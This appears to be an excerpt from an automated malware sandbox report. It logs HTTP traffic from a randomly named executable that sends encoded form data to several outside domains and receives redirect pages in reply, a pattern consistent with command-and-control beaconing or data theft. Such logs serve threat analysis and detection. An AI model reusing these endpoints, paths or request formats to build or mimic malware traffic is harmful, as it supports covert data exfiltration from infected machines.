                                                                        Data Ascii: cvWdIt=85WWLJPBrXi6FJDXzQ1TlZVMzEUuiAw9Y9Hmlr4NU8qo0xSVOxsNnaDTJZ4mHHLnEu3cIBo1HaW/pDmx0hCDG7j5OT+lkbMFyYGQ/Yg65JesHUWHEratCbGuBovcaEVWJv8M35zXvxuElAp2q1Q4gqj6LpwE93H7UrzzBrSKG/S7xO0kR8KWL8+sq2tsyTyB5to4hG48IEGyg78uxnS6Sweir51r


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        7192.168.2.5555863.33.130.190801812C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Oct 2, 2024 15:16:15.807507992 CEST1825OUTPOST /4hiy/ HTTP/1.1
                                                                        Host: www.weatherbook.live
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Language: en-us
                                                                        Accept-Encoding: gzip, deflate
                                                                        Origin: http://www.weatherbook.live
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Connection: close
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 1243
                                                                        Referer: http://www.weatherbook.live/4hiy/
                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                                                        Data Raw: 63 76 57 64 49 74 3d 38 35 57 57 4c 4a 50 42 72 58 69 36 46 4a 44 58 7a 51 31 54 6c 5a 56 4d 7a 45 55 75 69 41 77 39 59 39 48 6d 6c 72 34 4e 55 38 79 6f 30 48 75 56 50 53 30 4e 6d 61 44 54 58 70 34 6a 48 48 4c 71 45 75 2f 51 49 42 6c 41 48 59 75 2f 76 69 47 78 2f 31 32 44 49 37 6a 35 47 7a 2b 6b 37 4c 4d 51 79 59 57 55 2f 59 77 36 35 4a 65 73 48 52 53 48 54 75 6d 74 4f 37 47 74 49 49 76 51 4e 55 56 2b 4a 76 30 32 33 35 6e 48 76 43 57 45 6c 6a 52 32 72 47 30 34 2f 61 6a 34 4b 70 77 63 39 33 4c 34 55 72 2b 66 42 6f 4f 77 47 39 43 37 78 37 64 53 4b 50 75 32 66 4f 32 33 75 6b 55 4d 6c 7a 71 32 6e 2b 41 4f 68 78 6f 63 46 51 65 62 6d 50 38 45 38 45 33 4a 47 31 53 55 75 4d 38 64 63 78 62 76 57 51 49 71 50 54 6f 55 4c 4a 6c 6d 74 56 6e 48 6e 6b 48 61 6e 38 50 4b 76 46 48 4a 5a 39 74 46 48 47 4e 4a 72 74 39 56 42 66 63 44 61 69 37 56 35 39 64 6d 6c 6b 33 36 55 38 47 55 2b 49 78 44 32 7a 6a 70 71 62 58 77 4c 59 6d 51 68 73 31 38 36 38 34 46 2f 54 68 33 6d 4d 6c 4d 6e 5a 61 4f 58 72 76 64 70 51 41 73 69 2b 7a [TRUNCATED]
                                                                        Data Ascii: cvWdIt=85WWLJPBrXi6FJDXzQ1TlZVMzEUuiAw9Y9Hmlr4NU8yo0HuVPS0NmaDTXp4jHHLqEu/QIBlAHYu/viGx/12DI7j5Gz+k7LMQyYWU/Yw65JesHRSHTumtO7GtIIvQNUV+Jv0235nHvCWEljR2rG04/aj4Kpwc93L4Ur+fBoOwG9C7x7dSKPu2fO23ukUMlzq2n+AOhxocFQebmP8E8E3JG1SUuM8dcxbvWQIqPToULJlmtVnHnkHan8PKvFHJZ9tFHGNJrt9VBfcDai7V59dmlk36U8GU+IxD2zjpqbXwLYmQhs18684F/Th3mMlMnZaOXrvdpQAsi+zHFV9uCBZlrKrwTnUdKaaTFfKvkj69tk+D8WzPdlYrmUoZIn+3Wo8/oynSLEkBM/NmtJAzykir+D77wDVp0cAHdBr+1mo0UTNe5D4k2cft1W/SAZcBrmsYpr9/JSbezAG55xazkD+vLQxYLHpcxIXDDbvbbgCLOoZ7ODJpfHQ38CTL7yE5YTv9oBjclGXkTWY+AcA+9QwODk/ZtCIa3i7rMCcUGjg9gfLJdnOajgTCcwcZ7AoBiZbWEAZyHCIMOvQ7VBbUZlBbw4QAKsaerqGAm6dh9h1W0/fY+8P8Z2pcpHvDfl9QLkvAIImQLRMw2QSKFmiUUk1hCV0afdrvz/daXFuYx+FwlHssimxFJhShefNi0bIOYbQ6G5+FjGA2nwqd8PSEtgPeZqGg9QfYCvDdyA1mWKXvXSYLekDzAxE+kbvAnkciN3OssaWFsU+RSR5BqjejcwLg6liYInpcnGVaP2VURmxcdWOP+4g6CuSXE+0Mr6hXseFSVWgkoRpw7n+7BthDzPQP+EV05xsv56bMqNrSw8mou+vkvCXXilgcFTuyDw2DsGdHgRiehVFFY/X1oyomBs9SxordJMoZVsLSsWKz9XUFNPUuDfBb5P3LMLKsMdyCAaEdKc5SbTIrYq9c7ngagLAO9Dw+oeCL+2/bZW6G85XNMlg6h [TRUNCATED]


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        8192.168.2.5555873.33.130.190801812C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Oct 2, 2024 15:16:18.355462074 CEST525OUTGET /4hiy/?B0yh=QxoXDZd&cvWdIt=x7+2I8SGsUecCMiR9jFxrq83wmgt2RE1VtibsJt/MsyL3kCUaBIR7/SGJ6EjRkH0LM2kKQMRMq/OnwKr8gWiRr7WCi2Un74sxpuHobYGu6nNRQyETrqzPpHjFa2uTk8qKQ== HTTP/1.1
                                                                        Host: www.weatherbook.live
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Language: en-us
                                                                        Connection: close
                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                                                        Oct 2, 2024 15:16:18.812546968 CEST407INHTTP/1.1 200 OK
                                                                        Server: openresty
                                                                        Date: Wed, 02 Oct 2024 13:16:18 GMT
                                                                        Content-Type: text/html
                                                                        Content-Length: 267
                                                                        Connection: close
                                                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 42 30 79 68 3d 51 78 6f 58 44 5a 64 26 63 76 57 64 49 74 3d 78 37 2b 32 49 38 53 47 73 55 65 63 43 4d 69 52 39 6a 46 78 72 71 38 33 77 6d 67 74 32 52 45 31 56 74 69 62 73 4a 74 2f 4d 73 79 4c 33 6b 43 55 61 42 49 52 37 2f 53 47 4a 36 45 6a 52 6b 48 30 4c 4d 32 6b 4b 51 4d 52 4d 71 2f 4f 6e 77 4b 72 38 67 57 69 52 72 37 57 43 69 32 55 6e 37 34 73 78 70 75 48 6f 62 59 47 75 36 6e 4e 52 51 79 45 54 72 71 7a 50 70 48 6a 46 61 32 75 54 6b 38 71 4b 51 3d 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e
                                                                        Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?B0yh=QxoXDZd&cvWdIt=x7+2I8SGsUecCMiR9jFxrq83wmgt2RE1VtibsJt/MsyL3kCUaBIR7/SGJ6EjRkH0LM2kKQMRMq/OnwKr8gWiRr7WCi2Un74sxpuHobYGu6nNRQyETrqzPpHjFa2uTk8qKQ=="}</script></head></html>


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        9192.168.2.5555883.33.130.190801812C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Oct 2, 2024 15:16:23.883413076 CEST794OUTPOST /jvjp/ HTTP/1.1
                                                                        Host: www.crowsecurity.cloud
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Language: en-us
                                                                        Accept-Encoding: gzip, deflate
                                                                        Origin: http://www.crowsecurity.cloud
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Connection: close
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 207
                                                                        Referer: http://www.crowsecurity.cloud/jvjp/
                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                                                        Data Raw: 63 76 57 64 49 74 3d 31 5a 52 73 70 62 35 2f 69 51 77 38 53 44 69 4b 54 65 59 64 52 46 6d 55 45 54 39 43 57 4d 35 6d 54 36 43 52 59 49 57 2b 6e 67 70 58 45 68 2b 61 69 76 64 66 73 67 77 44 47 6f 5a 64 33 4c 54 78 2f 73 61 2b 6a 42 51 36 50 6e 38 56 6e 57 78 50 39 44 78 6c 46 66 64 47 4e 68 4d 4b 76 6e 74 52 69 45 2b 35 64 78 4f 69 70 64 66 6e 6a 4d 59 6d 6a 62 65 6e 56 69 70 66 73 6e 33 50 75 68 7a 2f 54 44 6e 38 6c 4b 57 53 78 62 4f 66 53 6a 44 32 31 4b 2f 51 74 6b 79 53 55 2f 75 46 62 6a 46 35 33 41 6e 31 33 65 47 50 30 46 72 4b 4c 4d 6b 57 35 78 35 54 53 4f 36 70 58 62 5a 41 75 4a 4a 2b 69 69 38 78 79 32 67 3d
                                                                        Data Ascii: cvWdIt=1ZRspb5/iQw8SDiKTeYdRFmUET9CWM5mT6CRYIW+ngpXEh+aivdfsgwDGoZd3LTx/sa+jBQ6Pn8VnWxP9DxlFfdGNhMKvntRiE+5dxOipdfnjMYmjbenVipfsn3Puhz/TDn8lKWSxbOfSjD21K/QtkySU/uFbjF53An13eGP0FrKLMkW5x5TSO6pXbZAuJJ+ii8xy2g=


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        10192.168.2.5555893.33.130.190801812C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Oct 2, 2024 15:16:27.102982044 CEST814OUTPOST /jvjp/ HTTP/1.1
                                                                        Host: www.crowsecurity.cloud
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Language: en-us
                                                                        Accept-Encoding: gzip, deflate
                                                                        Origin: http://www.crowsecurity.cloud
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Connection: close
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 227
                                                                        Referer: http://www.crowsecurity.cloud/jvjp/
                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                                                        Data Raw: 63 76 57 64 49 74 3d 31 5a 52 73 70 62 35 2f 69 51 77 38 54 69 79 4b 56 35 45 64 47 31 6d 54 4b 7a 39 43 59 73 35 69 54 36 4f 52 59 4a 53 75 6d 57 78 58 64 45 43 61 74 4c 78 66 76 67 77 44 4f 49 5a 59 34 72 54 76 2f 73 65 32 6a 46 59 36 50 6e 6f 56 6e 53 31 50 2b 30 74 69 44 66 64 59 59 78 4d 49 72 6e 74 52 69 45 2b 35 64 78 71 49 70 64 48 6e 69 39 49 6d 79 4b 65 6b 63 43 70 63 72 6e 33 50 71 68 7a 37 54 44 6e 4b 6c 4c 4b 38 78 59 6d 66 53 68 4c 32 31 62 2f 58 32 55 79 63 51 2f 76 49 4e 6a 34 68 78 43 76 6d 79 49 50 59 31 30 4b 78 4f 36 4a 38 6a 54 78 37 42 75 57 52 48 49 52 33 2f 35 6f 58 34 42 73 42 73 68 32 4a 61 54 50 59 6b 68 30 49 77 73 65 49 44 32 5a 55 6e 30 38 38
                                                                        Data Ascii: cvWdIt=1ZRspb5/iQw8TiyKV5EdG1mTKz9CYs5iT6ORYJSumWxXdECatLxfvgwDOIZY4rTv/se2jFY6PnoVnS1P+0tiDfdYYxMIrntRiE+5dxqIpdHni9ImyKekcCpcrn3Pqhz7TDnKlLK8xYmfShL21b/X2UycQ/vINj4hxCvmyIPY10KxO6J8jTx7BuWRHIR3/5oX4BsBsh2JaTPYkh0IwseID2ZUn088


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        11192.168.2.5555903.33.130.190801812C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Oct 2, 2024 15:16:29.689419985 CEST1831OUTPOST /jvjp/ HTTP/1.1
                                                                        Host: www.crowsecurity.cloud
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Language: en-us
                                                                        Accept-Encoding: gzip, deflate
                                                                        Origin: http://www.crowsecurity.cloud
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Connection: close
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 1243
                                                                        Referer: http://www.crowsecurity.cloud/jvjp/
                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                                                        Data Raw: 63 76 57 64 49 74 3d 31 5a 52 73 70 62 35 2f 69 51 77 38 54 69 79 4b 56 35 45 64 47 31 6d 54 4b 7a 39 43 59 73 35 69 54 36 4f 52 59 4a 53 75 6d 57 4a 58 42 6d 61 61 73 73 6c 66 75 67 77 44 4e 49 5a 5a 34 72 53 71 2f 6f 36 79 6a 46 63 4d 50 6c 51 56 6d 78 39 50 2f 47 46 69 57 76 64 59 41 42 4d 4c 76 6e 73 4a 69 41 69 39 64 78 61 49 70 64 48 6e 69 2b 41 6d 69 72 65 6b 51 69 70 66 73 6e 33 44 75 68 79 6d 54 44 50 61 6c 4c 65 43 78 6f 47 66 53 42 62 32 79 74 44 58 72 6b 79 4a 64 66 75 62 4e 6a 30 41 78 47 33 55 79 49 54 2b 31 7a 2b 78 50 62 6b 33 2b 43 64 53 65 74 75 4c 55 2f 64 4f 67 75 73 75 36 78 67 45 74 44 32 72 65 44 47 31 69 45 55 57 35 4f 72 36 5a 41 63 45 6c 54 64 74 4d 57 58 4b 56 70 67 38 6f 4b 52 36 6b 59 54 55 4e 74 75 78 65 68 44 2b 78 44 31 37 79 4b 2f 2f 46 32 61 44 46 4c 46 57 50 55 65 48 6d 76 77 69 44 74 69 52 49 51 6a 42 30 69 55 48 43 57 79 4e 6b 6b 32 32 69 43 66 76 66 4e 62 62 33 65 35 73 56 62 32 33 69 32 4c 4a 77 78 2b 52 57 64 71 6b 74 2b 57 39 30 59 68 50 36 49 52 2f 33 2f 39 [TRUNCATED]
                                                                        Data Ascii: cvWdIt=1ZRspb5/iQw8TiyKV5EdG1mTKz9CYs5iT6ORYJSumWJXBmaasslfugwDNIZZ4rSq/o6yjFcMPlQVmx9P/GFiWvdYABMLvnsJiAi9dxaIpdHni+AmirekQipfsn3DuhymTDPalLeCxoGfSBb2ytDXrkyJdfubNj0AxG3UyIT+1z+xPbk3+CdSetuLU/dOgusu6xgEtD2reDG1iEUW5Or6ZAcElTdtMWXKVpg8oKR6kYTUNtuxehD+xD17yK//F2aDFLFWPUeHmvwiDtiRIQjB0iUHCWyNkk22iCfvfNbb3e5sVb23i2LJwx+RWdqkt+W90YhP6IR/3/96Qi/OGol6ADUnjyE+QAkqontuOOI/23iS3NYe6hSkK3vO2Pr3bPxXLEPWpJQ96GQ1sdWdHalEsgPykiU74GaYu+w83UqB62Z+RUncA/1eMzgqzp4Gj/rjrH9u8/lLnX+T1zOTNtZwVXD+08T80z9kcKCBcCOF1y5St/EexyZ2nk33RsONPBtqlGL3aTFD8qV+yKML8nRs6NluTwg6wbub48O5FpP/LQpP3Fapys8Ly+fuCVYIlfYt0fuQeW2EkAM/OzrmWOivs2wpJKhmo1hgvFKX3r985mwh2EHM3eyYROYn+Peuk2b7eP+Kxk3HikG7VXEsobr2S1QStPy9KCfuOyxhFdQne3kCMxJ6Wp3/t8IO9XS51RJpvu0uYSwSyltdeCB5kXorLqDn+sA3s+1dpiHnRgGDaj9YT9NVLt0IWzygkguWXF6O79iyOeH44Qi8hrPSu6TBy2vTm2/OR+Esx1eTHZl/680UTgWsUNEw2PdFCc1HS7lRszpXhhMXHT+gpTY4AOQU+oFDVxcVT7xD+5EuUIqiGaPuDzZCVkZUjF1aYaiuQZrFRfnaIzyF8z+jvoo5mMTzBuvYeSOeha4MQPWgRfy/MTMesYtGOKHaP5j1LwUxO41FuHureJ+FkxhgFmzKvsbxg3SX4yW8F1ZrIXEzOW5YP4DAO [TRUNCATED]


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        12192.168.2.5555913.33.130.190801812C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Oct 2, 2024 15:16:32.228948116 CEST527OUTGET /jvjp/?cvWdIt=4b5MqvIelA8yeSWJd/RiTUHyH0EmcMdBTJ6STZ7OqVlET0aP4dQGxyJ8Yal1yomp/rzgkCoCCWVuqR9lxGRqE8prNCRKn3F85EuQNiaCrcWD/oorkYe/dSc+lX6wpjmjQw==&B0yh=QxoXDZd HTTP/1.1
                                                                        Host: www.crowsecurity.cloud
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Language: en-us
                                                                        Connection: close
                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                                                        Oct 2, 2024 15:16:33.631947041 CEST407INHTTP/1.1 200 OK
                                                                        Server: openresty
                                                                        Date: Wed, 02 Oct 2024 13:16:33 GMT
                                                                        Content-Type: text/html
                                                                        Content-Length: 267
                                                                        Connection: close
                                                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 63 76 57 64 49 74 3d 34 62 35 4d 71 76 49 65 6c 41 38 79 65 53 57 4a 64 2f 52 69 54 55 48 79 48 30 45 6d 63 4d 64 42 54 4a 36 53 54 5a 37 4f 71 56 6c 45 54 30 61 50 34 64 51 47 78 79 4a 38 59 61 6c 31 79 6f 6d 70 2f 72 7a 67 6b 43 6f 43 43 57 56 75 71 52 39 6c 78 47 52 71 45 38 70 72 4e 43 52 4b 6e 33 46 38 35 45 75 51 4e 69 61 43 72 63 57 44 2f 6f 6f 72 6b 59 65 2f 64 53 63 2b 6c 58 36 77 70 6a 6d 6a 51 77 3d 3d 26 42 30 79 68 3d 51 78 6f 58 44 5a 64 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e
                                                                        Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?cvWdIt=4b5MqvIelA8yeSWJd/RiTUHyH0EmcMdBTJ6STZ7OqVlET0aP4dQGxyJ8Yal1yomp/rzgkCoCCWVuqR9lxGRqE8prNCRKn3F85EuQNiaCrcWD/oorkYe/dSc+lX6wpjmjQw==&B0yh=QxoXDZd"}</script></head></html>


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        13192.168.2.5555923.33.130.190801812C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Oct 2, 2024 15:16:38.695513010 CEST788OUTPOST /p8sm/ HTTP/1.1
                                                                        Host: www.inspireplay.live
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Language: en-us
                                                                        Accept-Encoding: gzip, deflate
                                                                        Origin: http://www.inspireplay.live
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Connection: close
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 207
                                                                        Referer: http://www.inspireplay.live/p8sm/
                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                                                        Data Raw: 63 76 57 64 49 74 3d 74 73 31 52 55 73 37 50 73 74 55 37 43 6e 46 67 30 30 47 33 36 48 34 75 62 32 43 4b 45 77 30 4b 43 6f 62 46 42 5a 45 48 38 43 70 66 6e 51 6f 69 71 59 5a 30 6e 6e 2f 77 6c 31 42 34 4b 57 44 57 36 71 32 2b 69 63 77 66 4d 54 49 78 75 66 31 6d 6a 79 44 59 46 50 32 6e 6b 65 70 50 75 4d 70 54 42 4b 35 55 78 59 76 71 4f 4b 63 72 77 4c 58 4f 73 42 46 47 4c 6c 6d 37 49 52 6e 6b 52 33 77 2f 32 76 49 55 68 76 52 5a 73 64 47 66 77 65 38 72 63 77 43 6d 4a 62 61 71 51 4b 57 43 75 7a 2b 67 77 48 70 31 59 6b 4f 56 63 47 75 68 65 7a 6b 64 7a 66 63 46 74 4f 67 6d 65 36 6a 6d 68 52 49 39 74 64 47 7a 6e 2b 55 3d
                                                                        Data Ascii: cvWdIt=ts1RUs7PstU7CnFg00G36H4ub2CKEw0KCobFBZEH8CpfnQoiqYZ0nn/wl1B4KWDW6q2+icwfMTIxuf1mjyDYFP2nkepPuMpTBK5UxYvqOKcrwLXOsBFGLlm7IRnkR3w/2vIUhvRZsdGfwe8rcwCmJbaqQKWCuz+gwHp1YkOVcGuhezkdzfcFtOgme6jmhRI9tdGzn+U=


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        14192.168.2.5555933.33.130.190801812C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Oct 2, 2024 15:16:41.233326912 CEST808OUTPOST /p8sm/ HTTP/1.1
                                                                        Host: www.inspireplay.live
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Language: en-us
                                                                        Accept-Encoding: gzip, deflate
                                                                        Origin: http://www.inspireplay.live
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Connection: close
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 227
                                                                        Referer: http://www.inspireplay.live/p8sm/
                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                                                        Data Raw: 63 76 57 64 49 74 3d 74 73 31 52 55 73 37 50 73 74 55 37 42 48 56 67 79 56 47 33 34 6e 34 70 55 57 43 4b 4f 51 30 47 43 6f 48 46 42 62 6f 58 38 77 4e 66 6d 77 59 69 72 64 35 30 71 48 2f 77 75 56 41 7a 55 6d 44 4e 36 71 4c 4a 69 5a 49 66 4d 54 4d 78 75 65 46 6d 6a 68 72 62 48 66 32 70 78 75 70 4a 71 4d 70 54 42 4b 35 55 78 59 71 42 4f 4b 55 72 78 2f 54 4f 2b 30 70 46 43 46 6d 6b 43 78 6e 6b 56 33 77 37 32 76 4a 78 68 75 4d 43 73 62 4b 66 77 65 4d 72 63 69 36 6e 44 62 61 73 55 4b 57 53 68 69 48 56 79 52 30 2b 56 30 50 49 41 6e 6d 6c 53 6c 4a 33 70 39 55 74 2b 75 4d 65 4f 70 72 52 77 68 70 55 33 2b 57 44 35 70 41 34 72 38 50 62 59 74 5a 42 6b 4b 50 58 65 6c 2b 4a 34 42 75 7a
                                                                        Data Ascii: cvWdIt=ts1RUs7PstU7BHVgyVG34n4pUWCKOQ0GCoHFBboX8wNfmwYird50qH/wuVAzUmDN6qLJiZIfMTMxueFmjhrbHf2pxupJqMpTBK5UxYqBOKUrx/TO+0pFCFmkCxnkV3w72vJxhuMCsbKfweMrci6nDbasUKWShiHVyR0+V0PIAnmlSlJ3p9Ut+uMeOprRwhpU3+WD5pA4r8PbYtZBkKPXel+J4Buz


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        15192.168.2.5555943.33.130.190801812C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Oct 2, 2024 15:16:43.794504881 CEST1825OUTPOST /p8sm/ HTTP/1.1
                                                                        Host: www.inspireplay.live
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Language: en-us
                                                                        Accept-Encoding: gzip, deflate
                                                                        Origin: http://www.inspireplay.live
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Connection: close
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 1243
                                                                        Referer: http://www.inspireplay.live/p8sm/
                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                                                        Data Raw: 63 76 57 64 49 74 3d 74 73 31 52 55 73 37 50 73 74 55 37 42 48 56 67 79 56 47 33 34 6e 34 70 55 57 43 4b 4f 51 30 47 43 6f 48 46 42 62 6f 58 38 77 46 66 6e 44 51 69 71 37 78 30 72 48 2f 77 6e 31 42 30 55 6d 43 56 36 75 6e 46 69 5a 4d 50 4d 52 45 78 76 38 4e 6d 33 41 72 62 4e 66 32 70 75 2b 70 49 75 4d 70 47 42 4a 52 51 78 59 61 42 4f 4b 55 72 78 2b 6a 4f 38 68 46 46 4f 6c 6d 37 49 52 6e 67 52 33 78 73 32 76 41 4d 68 75 35 33 73 4c 71 66 78 2b 63 72 54 78 43 6e 50 62 61 75 54 4b 58 4e 68 6a 37 38 79 56 56 42 56 33 54 69 41 67 69 6c 51 30 34 44 73 73 49 37 2f 34 63 53 45 2b 76 78 75 31 70 58 2b 64 4b 50 38 5a 55 6f 70 74 76 6c 58 36 4e 65 74 65 79 6c 46 41 4f 47 32 55 4c 6e 41 34 38 67 65 2f 56 46 55 75 55 51 55 66 77 4b 79 6f 79 43 4f 57 59 38 5a 76 53 66 76 67 52 7a 51 61 2b 7a 51 70 77 34 6f 44 6f 43 79 66 67 4f 4d 64 41 59 6c 43 7a 50 66 78 45 73 38 7a 45 6b 72 2f 77 67 44 32 4f 4f 2f 37 38 61 4b 42 6e 64 70 39 35 72 7a 52 78 77 56 35 49 37 6c 70 72 42 54 6f 47 69 68 73 48 44 35 42 69 2f 6a 59 30 [TRUNCATED]
